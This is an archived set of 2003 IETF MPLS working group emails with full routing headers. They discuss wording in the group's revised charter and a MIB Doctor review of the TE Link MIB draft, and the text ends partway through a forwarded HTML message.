Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpjoz29673;
	Thu, 9 Oct 2003 00:18:59 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpjox29495
	for mpls-outgoing; Wed, 8 Oct 2003 23:56:32 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQpjox29489
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 8 Oct 2003 23:56:22 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQpjox14746
	for <mpls@uu.net>; Wed, 8 Oct 2003 23:54:55 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjox27525
	for <mpls@uu.net>; Wed, 8 Oct 2003 23:54:55 GMT
Received: from sj-iport-1.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-1-in.cisco.com [171.71.176.70])
	id QQpjox27505
	for <mpls@uu.net>; Wed, 8 Oct 2003 23:54:54 GMT
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-2.cisco.com (8.12.9/8.12.6) with ESMTP id h98NspJs013849
	for <mpls@uu.net>; Wed, 8 Oct 2003 16:54:51 -0700 (PDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ACZ77704;
	Wed, 8 Oct 2003 19:54:50 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h98Nsog09822 for mpls@uu.net; Wed, 8 Oct 2003 19:54:50 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQpjox29194
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 8 Oct 2003 23:53:30 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQpjox21720
	for <mpls@uu.net>; Wed, 8 Oct 2003 23:48:19 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjox20227
	for <mpls@uu.net>; Wed, 8 Oct 2003 23:48:19 GMT
Received: from sj-iport-2.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-2-in.cisco.com [171.71.176.71])
	id QQpjox20209
	for <mpls@uu.net>; Wed, 8 Oct 2003 23:48:18 GMT
Received: from cisco.com (171.71.177.238)
  by sj-iport-2.cisco.com with ESMTP; 08 Oct 2003 16:49:14 -0700
Received: from wells.cisco.com (wells.cisco.com [171.71.177.223])
	by sj-core-5.cisco.com (8.12.9/8.12.6) with ESMTP id h98NmGXg013620;
	Wed, 8 Oct 2003 16:48:16 -0700 (PDT)
Received: from jvasseur-w2k01.cisco.com (sjc-vpn2-422.cisco.com [10.21.113.166]) by wells.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with ESMTP id QAA16700; Wed, 8 Oct 2003 16:48:15 -0700 (PDT)
Message-Id: <4.3.2.7.2.20031008194610.04f39130@wells.cisco.com>
X-Sender: jvasseur@wells.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Wed, 08 Oct 2003 19:48:14 -0400
To: iesg@ietf.org
From: Jean Philippe Vasseur <jvasseur@cisco.com>
Subject: [Fwd: Updated MPLS charter]
Cc: mpls@UU.NET
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,

Please find below one comment on the charter:

>Date: Thu, 02 Oct 2003 10:02:39 +0200
>From: Loa Andersson <loa@pi.se>
>User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) 
>Gecko/20030624 Netscape/7.1 (ax)
>X-Accept-Language: en-us, en
>To: mpls wg <mpls@UU.NET>
>CC: George Swallow <swallow@cisco.com>, Alex Zinin <zinin@PSG.COM>
>Subject: [Fwd: Updated MPLS charter]
>Sender: owner-mpls@UU.NET
>
>
>All,
>
>an updated version of the MPLS working group charter has
>been sent to the IESG review. Comments on the charter should
>be sent to the working group mailing list.
>
>/Loa
>
>
>  Multiprotocol Label Switching (mpls)
>  -------------------------------------
>
>  Current Status: Active Working Group
>
>  Chair(s):
>    George Swallow <swallow@cisco.com>
>    Loa Andersson <loa@pi.se>
>
>  Routing Area Director(s):
>    Bill Fenner <fenner@research.att.com>
>    Alex Zinin <zinin@psg.com>
>
>  Routing Area Advisor:
>    Alex Zinin <zinin@psg.com>
>
>  Mailing Lists:
>  General Discussion: mpls@uu.net
>  To Subscribe: mpls-request@uu.net
>  In Body: subscribe (unsubscribe)
>  Archive: http://cell.onecall.net/cell-relay/archives/mpls/mpls.index.html
>
>  Description of Working Group:
>
>  The MPLS working group is responsible for standardizing a base
>  technology for using label switching and for the implementation of
>  label-switched paths over various packet based link-level
>  technologies, such as Packet-over-Sonet, Frame Relay, ATM, and
>  LAN technologies (e.g. all forms of Ethernet, Token Ring, etc.).
>  This includes procedures and protocols for the distribution of
>  labels between routers and encapsulation.
>
>  The working group is also responsible for specifying the necessary
>  MIBs for the  functionality specified in the base MPLS technology.
>
>  The first generation of the MPLS standards are largely complete,
>  and the current WG work items are:
>
>  - procedures and protocols for multicast protocol extensions for
>    point-to-multipoint TE, including soft-preemption

The last sentence might be slightly confusing, the word "including" gives 
the impression that soft preemption is part of the charter only in the 
context of point-to-multipoint although it applies to any sort of TE LSP.

Thanks.

JP.

>  - Define requirements and mechanisms for MPLS OAM
>
>  - Define an overall OAM framework for MPLS applications
>
>  - MPLS-specific aspects of traffic engineering for multi-areas/multi-AS
>    in cooperation with the CCAMP WG
>
>  The Working Group chairs tracking of the working group documents can be
>  viewed at http://urax.utfors.net/~loa/MPLS_WG_Drafts.htm
>
>  Goals and Milestones:
>
>  Done    Submit documents from original MPLS effort to IESG
>
>  Done    Framework for IP multicast over label-switched paths ready
>          for advancement.
>
>  Done    LDP fault tolerance specification ready for advancement to
>          Proposed Standard.
>
>  Done    Specification for MPLS-specific recovery ready for advancement.
>
>  Done    Submit Multiprotocol Label Switching (MPLS) Forward
>          Equivalency Class-To-Next Hop Label Forwarding Entry
>          Management Information Base to the IESG for publication as
>          Proposed Standards
>
>  Done    Submit Definitions of Managed Objects for MultoiProtocol
>          Label Switching, Label Distribution Protocol (LDP) to the
>          IESG for publication as Proposed Standards
>
>  Done    Submit Multiprotocol Label Switching (MPLS) Label Switching
>          Router (LSR), Management Information Base to the IESG for
>          publication as Proposed Standards
>
>  Done    Submit Multiprotocol Label Switching (MPLS) Management Overview
>          to the IESG for publication as Proposed Standards
>
>  Done    Submit Definitions of Textual Conventions for Multiprotocol
>          Label Switching (MPLS) Management to the IESG for publication
>          as Proposed Standards
>
>  Done    Submit Multiprotocol Label Switching (MPLS) Traffic
>          Engineering Management Information Base to the IESG for
>          publication as Proposed Standards
>
>  Oct 03  Advance the Label Distribution Protocol to Draft Standard.
>
>  Oct 03  Submit the Traffic Engineering Link MIB to the IESG for
>          as a Proposed Standard
>
>  Oct 03  Submit a specification on Encapsulations to carry MPLS over
>          IP and GRE to the IESG for as a Proposed Standard
>
>  Nov 03  Together with CCAMP complete and establish the (G)MPLS change
>          process
>
>  Apr 04  Advance MPLS Architecture and MPLS encapsulation to Draft
>          Standard
>
>  Apr 04  Submit a specification on Soft Pre-emption of LSP Tunnels to
>          the IESG for publication as a Proposed Standard
>
>  Nov 03  Submit specification on LSP Ping to the IESG for publication
>          as a Proposed Standard
>
>  Apr 04  Submit specification on LSR Self Test to the IESG for
>          publication as a Proposed Standard
>
>  Aug 04  Submit an OAM Framework Document to the IESG for publication
>          as an Informational RFC
>
>  Oct 04  Advance "Extension to RSVP for LSP Tunnels" to Draft
>          Standard
>
>  Nov 04  Submit a document defining the scope, requirements, and issues
>          to resolve for setup of P2MP TE LSPs (MPLS and GMPLS)
>
>  Mar 04  Submit document(s) specifying protocol extensions, enhancements
>          and mechanisms for setup of P2MP TE LSPs
>
>
>-----------------------------------
>
>FYI, removed or replaced milestones:
>
>  REMOVE  Shepherd completed MPLS specifications through IESG review and 
> RFC editor processing
>  REMOVE  MPLS-TE MIB ready for advancement to Proposed Standard
>  REMOVE  Base MPLS Proposed Standard RFCs ready for advancement to Draft 
> Standard.
>  REMOVE  LDP end-to-end LSP authentication ready for advancement to 
> Proposed Standard.
>
>
>
>
>
>--
>Loa Andersson
>
>Mobile          +46 739 81 21 64
>Email           loa@pi.se
>
>



From owner-mpls@UU.NET  Wed Oct  8 22:06:53 2003
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA19069
	for <mpls-archive@lists.ietf.org>; Wed, 8 Oct 2003 22:06:52 -0400 (EDT)
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjor16863
	for <mpls-archive@lists.ietf.org>; Wed, 8 Oct 2003 22:29:48 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpjor16686;
	Wed, 8 Oct 2003 22:29:39 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpjoq29979
	for mpls-outgoing; Wed, 8 Oct 2003 22:07:31 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQpjoq29958
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 8 Oct 2003 22:07:17 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQpjoq10338
	for <mpls@UU.NET>; Wed, 8 Oct 2003 22:04:37 GMT
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjoq20282
	for <mpls@UU.NET>; Wed, 8 Oct 2003 22:04:36 GMT
Received: from ihemail2.firewall.lucent.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: ihemail2.lucent.com [192.11.222.163])
	id QQpjoq20274
	for <mpls@UU.NET>; Wed, 8 Oct 2003 22:04:36 GMT
Received: from nl0006exch001h.wins.lucent.com (h135-85-76-62.lucent.com [135.85.76.62])
	by ihemail2.firewall.lucent.com (Switch-2.2.8/Switch-2.2.0) with ESMTP id h98M4WN04886
	for <mpls@UU.NET>; Wed, 8 Oct 2003 17:04:33 -0500 (CDT)
Received: by nl0006exch001h.nl.lucent.com with Internet Mail Service (5.5.2656.59)
	id <4M3WLMML>; Thu, 9 Oct 2003 00:04:31 +0200
Message-ID: <7D5D48D2CAA3D84C813F5B154F43B15502A20961@nl0006exch001u.nl.lucent.com>
From: "Wijnen, Bert (Bert)" <bwijnen@lucent.com>
To: Loa Andersson <loa@pi.se>,
        Dimitri Papadimitriou
	 <dpapadimitriou@PSG.COM>
Cc: Jean Philippe Vasseur <jvasseur@cisco.com>, mpls wg <mpls@UU.NET>,
        George Swallow <swallow@cisco.com>, Alex Zinin <zinin@PSG.COM>,
        iesg-secretary@ietf.org
Subject: RE: [Fwd: Updated MPLS charter]
Date: Thu, 9 Oct 2003 00:04:28 +0200 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2656.59)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk

Inline

> -----Original Message-----
> From: Loa Andersson [mailto:loa@pi.se]
> Sent: woensdag 8 oktober 2003 22:56
> To: Dimitri Papadimitriou
> Cc: Jean Philippe Vasseur; mpls wg; George Swallow; Alex Zinin;
> iesg-secretary@ietf.org
> Subject: Re: [Fwd: Updated MPLS charter]
> 
> 
> All,
> 
> please note that this is not on the IESG plate, comments on 

Did you mean "is now on the IESG plate" ?
                 ^^^
> the charter needs to go to
> 
> IESG <iesg-secretary@ietf.org>
> 
better to send it to iesg@ietf.org, then it gies directly to
us instead of to secretary who would have to forward it to IESG.

Bert


From owner-mpls@UU.NET  Thu Oct  9 02:43:40 2003
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA08838
	for <mpls-archive@lists.ietf.org>; Thu, 9 Oct 2003 02:43:39 -0400 (EDT)
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjpy23137
	for <mpls-archive@lists.ietf.org>; Thu, 9 Oct 2003 06:43:46 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpjpy22899;
	Thu, 9 Oct 2003 06:43:39 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpjpx19107
	for mpls-outgoing; Thu, 9 Oct 2003 06:21:02 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQpjpx19042
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 9 Oct 2003 06:20:59 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQpjpw00767
	for <mpls@uu.net>; Thu, 9 Oct 2003 06:10:22 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjpw07941
	for <mpls@uu.net>; Thu, 9 Oct 2003 06:10:21 GMT
Received: from rediffmail.com by cmr0.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: webmail33.rediffmail.com [203.199.83.245] (may be forged))
	id QQpjpw07581
	for <mpls@uu.net>; Thu, 9 Oct 2003 06:10:13 GMT
Received: (qmail 10020 invoked by uid 510); 9 Oct 2003 05:47:02 -0000
Date: 9 Oct 2003 05:47:02 -0000
Message-ID: <20031009054702.10019.qmail@mailweb33.rediffmail.com>
Received: from unknown (203.197.138.194) by rediffmail.com via HTTP; 09 oct 2003 05:47:02 -0000
MIME-Version: 1.0
From: "Anu  Divya" <anudivka@rediffmail.com>
Reply-To: "Anu  Divya" <anudivka@rediffmail.com>
To: mpls@UU.NET
Subject: Fwd: Re: Re: MIB Doctor review:draft-ietf-mpls-telink-mib-03.txt
Content-type: multipart/mixed;
	boundary="Next_1065678422---0-203.199.83.245-9739"
Sender: owner-mpls@UU.NET
Precedence: bulk

 This is a multipart mime message


--Next_1065678422---0-203.199.83.245-9739
Content-type: multipart/alternative;
	boundary="Next_1065678422---1-203.199.83.245-9739"

 This is a multipart mime message


--Next_1065678422---1-203.199.83.245-9739
Content-type: text/html;
	charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

<P>=0A<BR>=0APlease find the forwarded mail for the Bandwidth discussion fo=
r Telink MIB. Working group thoughts on the discussed point is required.<BR=
>=0A<BR>=0AThanks in advance,<BR>=0AAnu.<BR>=0A<BR>=0ANote: Forwarded messa=
ge attached<BR>=0A<BR>=0A-- Orignal Message --<BR>=0A<BR>=0AFrom: &quot;Mar=
tin Dubuc&quot; &lt;dubuc.consulting@rogers.com&gt;<BR>=0ATo: &quot;Anu&nbs=
p; Divya&quot; &lt;anudivka@rediffmail.com&gt;<BR>=0ASubject: Re: Re: MIB D=
octor review:draft-ietf-mpls-telink-mib-03.txt<BR>=0A=0A</P>=0A<br><br>=0A<=
A target=3D"_blank" HREF=3D"http://clients.rediff.com/signature/track_sig.a=
sp"><IMG SRC=3D"http://ads.rediff.com/RealMedia/ads/adstream_nx.cgi/www.red=
iffmail.com/inbox.htm@Bottom" BORDER=3D0 VSPACE=3D0 HSPACE=3D0 HEIGHT=3D74 =
WIDTH=3D496></a>=0A
--Next_1065678422---1-203.199.83.245-9739
Content-type: text/plain;
	charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

=0APlease find the forwarded mail for the Bandwidth discussion for Telink M=
IB. Working group thoughts on the discussed point is required.=0A=0AThanks =
in advance,=0AAnu.=0A=0ANote: Forwarded message attached=0A=0A-- Orignal Me=
ssage --=0A=0AFrom: "Martin Dubuc" <dubuc.consulting@rogers.com>=0ATo: "Anu=
  Divya" <anudivka@rediffmail.com>=0ASubject: Re: Re: MIB Doctor review:dra=
ft-ietf-mpls-telink-mib-03.txt=0A
--Next_1065678422---1-203.199.83.245-9739--
Content-type: message/rfc822

MIME-Version: 1.0
Message-ID: <002f01c38df4$d0eaeee0$2202a8c0@flfrd.phub.net.cable.rogers.com>
From: "Martin Dubuc" <dubuc.consulting@rogers.com>
To: "Anu  Divya" <anudivka@rediffmail.com>
Subject: Re: Re: MIB Doctor review:draft-ietf-mpls-telink-mib-03.txt
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_002C_01C38DD3.497DC160"

This is a multi-part message in MIME format.

------=_NextPart_000_002C_01C38DD3.497DC160
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Anu,

You'll have to ask the working group. If the working group decide =
otherwise, I will update the MIB.

Martin
  ----- Original Message -----=20
  From: Anu Divya=20
  To: Martin Dubuc=20
  Sent: Wednesday, October 08, 2003 10:28 AM
  Subject: Re: Re: MIB Doctor review:draft-ietf-mpls-telink-mib-03.txt


  Hi,
        The Bandwidth units are in "thousand bps" and syntax is =
Unsigned32. With this we will be able to support only around 4000 =
Gigabit.
        But for optical links, the bandwidth might be greater than this. =

  Should we revisit this?

  Regards,
  Anu


  On Wed, 03 Sep 2003 Martin Dubuc wrote :
  >I will submit shortly a MIB that addresses your comments as version =
04.
  >Embedded is my
  >response to your original message. I need some feedback from you on =
the last
  >points.
  >
  >Martin
  >
  >----- Original Message -----
  > From: "Wijnen, Bert (Bert)" <bwijnen@lucent.com>
  >To: "'Martin Dubuc'" <dubuc.consulting@rogers.com>; "Mpls (E-mail)"
  ><mpls@uu.net>
  >Sent: Monday, September 01, 2003 2:43 PM
  >Subject: MIB Doctor review:draft-ietf-mpls-telink-mib-03.txt
  >
  >
  > > - Interesting that title page claims that doc expires feb 2003?
  > >  You porobably mean feb 2004
  > >
  >
  >Yes.
  >
  > > - I get this WMICng warning:
  > >  W: f(telink.mi2), (1564,19) MIN-ACCESS value identical to access
  > >      specified for "teLinkBandwidthUnreserved"
  > >  Seems to me you can just remove that MIN-ACCESS from the MODULE
  > >  COMPLIANCE.
  > >
  >
  >Done.
  >
  > > - I see
  > >    TeLinkSonetSdhIndication ::=3D TEXTUAL-CONVENTION
  > >      STATUS      current
  > >      DESCRIPTION
  > >          "SONET/SDH indication type."
  > >      SYNTAX      INTEGER {
  > >                    standard(0),
  > >                    arbitrary(1)
  > >                }
  > >    Since we normallyh do not start with zero (but with 1), I =
assume
  > >    there is a reason you start with zero. Could that reason be =
described
  > >    and is there a doc that explains this, so that you refernece =
it?
  > >
  >
  >Use of zero is done to map to the message definition of the interface
  >switching capability specific information field as specified in
  >[GMPLS-OSPF]. I have explained this in the description and added =
reference
  >to the document that specifies the message format.
  >
  > > NITS:
  > >
  > > - I see
  > >    teLinkGroups
  > >        OBJECT IDENTIFIER ::=3D { teLinkConformance 1 }
  > >
  > >    teLinkCompliances
  > >        OBJECT IDENTIFIER ::=3D { teLinkConformance 2 }
  > >  Normally we do it the other way around, first Compliances, then =
Groups,
  > >  See page 35, appendix D of =
draft-ietf-ops-mib-review-guidelines-02.txt
  > >
  >
  >Done.
  >
  > > - I see in OBJECT-GROUP statement things like:
  > >      DESCRIPTION
  > >          "Collection of objects needed for the monitoring of
  > >            resources associated with TE links."
  > >  I would think the objects *at least a subset) are also usefull =
for
  > >  configuration. How about:
  > >      DESCRIPTION
  > >          "Collection of objects for management of
  > >            resources associated with TE links."
  > >  Most OBJECT-GROUP descritpion clauses have similar "problem".
  > >
  >
  >I have updated the description of the groups that used the word =
monitoring
  >in the description.
  >
  > > - I see:
  > >    teLinkModuleFullCompliance MODULE-COMPLIANCE
  > >      STATUS current
  > >      DESCRIPTION
  > >        "Compliance statement for agents that support the
  > >        configuration and monitoring of TE Link MIB module."
  > >    Mmmm. I would word it a bit different:
  > >        "Compliance statement for agents that support read-create
  > >        so that both configuration and monitoring of TE Links can
  > >        be accomplished via this MIB module."
  > >    Matter of taste I guess.
  > >
  >
  >Have updated text accordingly.
  >
  > > - I see:
  > >    teLinkModuleReadOnlyCompliance MODULE-COMPLIANCE
  > >      STATUS current
  > >      DESCRIPTION
  > >        "Compliance statement for agents that support the
  > >        monitoring of TE link MIB module."
  > >      MODULE -- this module
  > >
  > >      -- The mandatory groups have to be implemented
  > >      -- by all devices supporting TE links. However, they may all
  > >      -- be supported as read-only objects in the case where manual
  > >      -- configuration is unsupported.
  > >
  > >      MANDATORY-GROUPS    { teLinkGroup,
  > >                            teLinkBandwidthGroup,
  > >                            componentLinkBandwidthGroup }
  > >
  > >    It seems to me that that all of those 4 comment lines are =
redundant.
  > >    The idea of the MODULE-COMPLIANCE statements is that they are =
both
  > >    human and machine readable.
  > >
  >
  >I am not sure I understand why the fact that the MODULE-COMPLIANCE
  >statements are human and machine readable makes these comments =
redundant.
  >
  > > - I see hyphenation. That is something the RFC-Editor does not =
want/like.
  > >
  >
  >Hyphenation is done automatically with nroff. I don't know how to =
turn it
  >off.
  >Any idea?
  >
  > > - Section 6 starts with:
  > >    6.  Brief Description of MIB Objects
  > >
  > >        Sections 6.1-6.4 describe objects pertaining to TE links.  =
The MIB
  > >        objects were derived from the link bundling document =
[BUNDLING].
  > >  How abaout the section 6.5-6.7 ??
  > >
  >
  >I have clarified this in the text.
  >
  > > Thanks,
  > > Bert
  >




   
------=_NextPart_000_002C_01C38DD3.497DC160
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 5.50.4926.2500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#fffbf0>
<DIV><FONT size=3D2>Anu,</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>You'll have to ask the working group. If the working =
group=20
decide otherwise, I will update the MIB.</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>Martin</FONT></DIV>
<BLOCKQUOTE=20
style=3D"PADDING-RIGHT: 0px; PADDING-LEFT: 5px; MARGIN-LEFT: 5px; =
BORDER-LEFT: #000000 2px solid; MARGIN-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A title=3Danudivka@rediffmail.com =
href=3D"mailto:anudivka@rediffmail.com">Anu=20
  Divya</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A =
title=3Ddubuc.consulting@rogers.com=20
  href=3D"mailto:dubuc.consulting@rogers.com">Martin Dubuc</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Wednesday, October 08, =
2003 10:28=20
  AM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> Re: Re: MIB Doctor=20
  review:draft-ietf-mpls-telink-mib-03.txt</DIV>
  <DIV><BR></DIV>
  <P>Hi,<BR>&nbsp; &nbsp; &nbsp; The Bandwidth units are in "thousand =
bps" and=20
  syntax is Unsigned32. With this we will be able to support only around =
4000=20
  Gigabit.<BR>&nbsp; &nbsp; &nbsp; But for optical links, the bandwidth =
might be=20
  greater than this. <BR>Should we revisit=20
  this?<BR><BR>Regards,<BR>Anu<BR><BR><BR>On Wed, 03 Sep 2003 Martin =
Dubuc wrote=20
  :<BR>&gt;I will submit shortly a MIB that addresses your comments as =
version=20
  04.<BR>&gt;Embedded is my<BR>&gt;response to your original message. I =
need=20
  some feedback from you on the=20
  last<BR>&gt;points.<BR>&gt;<BR>&gt;Martin<BR>&gt;<BR>&gt;----- =
Original=20
  Message -----<BR>&gt; From: "Wijnen, Bert (Bert)"=20
  &lt;bwijnen@lucent.com&gt;<BR>&gt;To: "'Martin Dubuc'"=20
  &lt;dubuc.consulting@rogers.com&gt;; "Mpls=20
  (E-mail)"<BR>&gt;&lt;mpls@uu.net&gt;<BR>&gt;Sent: Monday, September =
01, 2003=20
  2:43 PM<BR>&gt;Subject: MIB Doctor=20
  review:draft-ietf-mpls-telink-mib-03.txt<BR>&gt;<BR>&gt;<BR>&gt; &gt; =
-=20
  Interesting that title page claims that doc expires feb 2003?<BR>&gt;=20
  &gt;&nbsp; You porobably mean feb 2004<BR>&gt;=20
  &gt;<BR>&gt;<BR>&gt;Yes.<BR>&gt;<BR>&gt; &gt; - I get this WMICng=20
  warning:<BR>&gt; &gt;&nbsp; W: f(telink.mi2), (1564,19) MIN-ACCESS =
value=20
  identical to access<BR>&gt; &gt;&nbsp; &nbsp; &nbsp; specified for=20
  "teLinkBandwidthUnreserved"<BR>&gt; &gt;&nbsp; Seems to me you can =
just remove=20
  that MIN-ACCESS from the MODULE<BR>&gt; &gt;&nbsp; COMPLIANCE.<BR>&gt; =

  &gt;<BR>&gt;<BR>&gt;Done.<BR>&gt;<BR>&gt; &gt; - I see<BR>&gt; =
&gt;&nbsp;=20
  &nbsp; TeLinkSonetSdhIndication ::=3D TEXTUAL-CONVENTION<BR>&gt; =
&gt;&nbsp;=20
  &nbsp; &nbsp; STATUS&nbsp; &nbsp; &nbsp; current<BR>&gt; &gt;&nbsp; =
&nbsp;=20
  &nbsp; DESCRIPTION<BR>&gt; &gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; =
"SONET/SDH=20
  indication type."<BR>&gt; &gt;&nbsp; &nbsp; &nbsp; SYNTAX&nbsp; &nbsp; =
&nbsp;=20
  INTEGER {<BR>&gt; &gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; =
&nbsp;=20
  &nbsp; &nbsp; standard(0),<BR>&gt; &gt;&nbsp; &nbsp; &nbsp; &nbsp; =
&nbsp;=20
  &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; arbitrary(1)<BR>&gt; &gt;&nbsp; =
&nbsp;=20
  &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<BR>&gt; &gt;&nbsp; &nbsp; =
Since we=20
  normallyh do not start with zero (but with 1), I assume<BR>&gt; =
&gt;&nbsp;=20
  &nbsp; there is a reason you start with zero. Could that reason be=20
  described<BR>&gt; &gt;&nbsp; &nbsp; and is there a doc that explains =
this, so=20
  that you refernece it?<BR>&gt; &gt;<BR>&gt;<BR>&gt;Use of zero is done =
to map=20
  to the message definition of the interface<BR>&gt;switching capability =

  specific information field as specified in<BR>&gt;[GMPLS-OSPF]. I have =

  explained this in the description and added reference<BR>&gt;to the =
document=20
  that specifies the message format.<BR>&gt;<BR>&gt; &gt; NITS:<BR>&gt;=20
  &gt;<BR>&gt; &gt; - I see<BR>&gt; &gt;&nbsp; &nbsp; =
teLinkGroups<BR>&gt;=20
  &gt;&nbsp; &nbsp; &nbsp; &nbsp; OBJECT IDENTIFIER ::=3D { =
teLinkConformance 1=20
  }<BR>&gt; &gt;<BR>&gt; &gt;&nbsp; &nbsp; teLinkCompliances<BR>&gt; =
&gt;&nbsp;=20
  &nbsp; &nbsp; &nbsp; OBJECT IDENTIFIER ::=3D { teLinkConformance 2 =
}<BR>&gt;=20
  &gt;&nbsp; Normally we do it the other way around, first Compliances, =
then=20
  Groups,<BR>&gt; &gt;&nbsp; See page 35, appendix D of=20
  draft-ietf-ops-mib-review-guidelines-02.txt<BR>&gt;=20
  &gt;<BR>&gt;<BR>&gt;Done.<BR>&gt;<BR>&gt; &gt; - I see in OBJECT-GROUP =

  statement things like:<BR>&gt; &gt;&nbsp; &nbsp; &nbsp; =
DESCRIPTION<BR>&gt;=20
  &gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "Collection of objects needed =
for the=20
  monitoring of<BR>&gt; &gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; =
resources=20
  associated with TE links."<BR>&gt; &gt;&nbsp; I would think the =
objects *at=20
  least a subset) are also usefull for<BR>&gt; &gt;&nbsp; configuration. =
How=20
  about:<BR>&gt; &gt;&nbsp; &nbsp; &nbsp; DESCRIPTION<BR>&gt; &gt;&nbsp; =
&nbsp;=20
